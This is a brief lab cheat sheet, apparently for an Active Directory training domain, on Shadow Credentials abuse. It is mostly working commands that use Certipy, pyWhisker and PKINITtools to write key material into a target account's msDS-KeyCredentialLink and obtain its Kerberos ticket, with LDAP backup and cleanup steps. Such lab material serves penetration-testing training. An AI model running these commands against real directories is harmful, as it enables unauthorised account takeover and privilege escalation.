Shadow Credentials abuse writes attacker-controlled key material into msDS-KeyCredentialLink. LDAP is useful for checking the attribute before and after tools such as Certipy, pyWhisker, and PKINITtools modify it.
export DC=10.10.10.200
export BASE='DC=ootw,DC=local'
export DOMAIN=ootw.local
export USER='student'
export PASS='student'
export TARGET='svc_web'
Read current key credentials:
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://$DC:636 -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" "(sAMAccountName=$TARGET)" distinguishedName msDS-KeyCredentialLink
Backup before modifying:
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://$DC:636 -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" "(sAMAccountName=$TARGET)" msDS-KeyCredentialLink > msds-keycredentiallink-backup.txt
Certipy auto path:
certipy shadow auto -u $USER@$DOMAIN -p "$PASS" -account $TARGET -dc-ip $DC
Manual pyWhisker and PKINITtools path:
python3 pywhisker.py -d $DOMAIN -u $USER -p "$PASS" --target $TARGET --action add --filename "$TARGET"
python3 gettgtpkinit.py -cert-pfx "$TARGET.pfx" -pfx-pass PFX_PASSWORD $DOMAIN/$TARGET "$TARGET.ccache"
export KRB5CCNAME="$TARGET.ccache"
klist
Remove with Certipy:
certipy shadow clear -u $USER@$DOMAIN -p "$PASS" -account $TARGET -dc-ip $DC
Remove one exact LDAP blob:
dn: CN=svc_web,OU=Service Accounts,OU=OOTW Lab,DC=ootw,DC=local
changetype: modify
delete: msDS-KeyCredentialLink
msDS-KeyCredentialLink: <EXACT_BLOB_FROM_BACKUP>
LDAPTLS_REQCERT=never ldapmodify -H ldaps://$DC:636 -D "$DOMAIN\\$USER" -w "$PASS" -f remove-shadow.ldif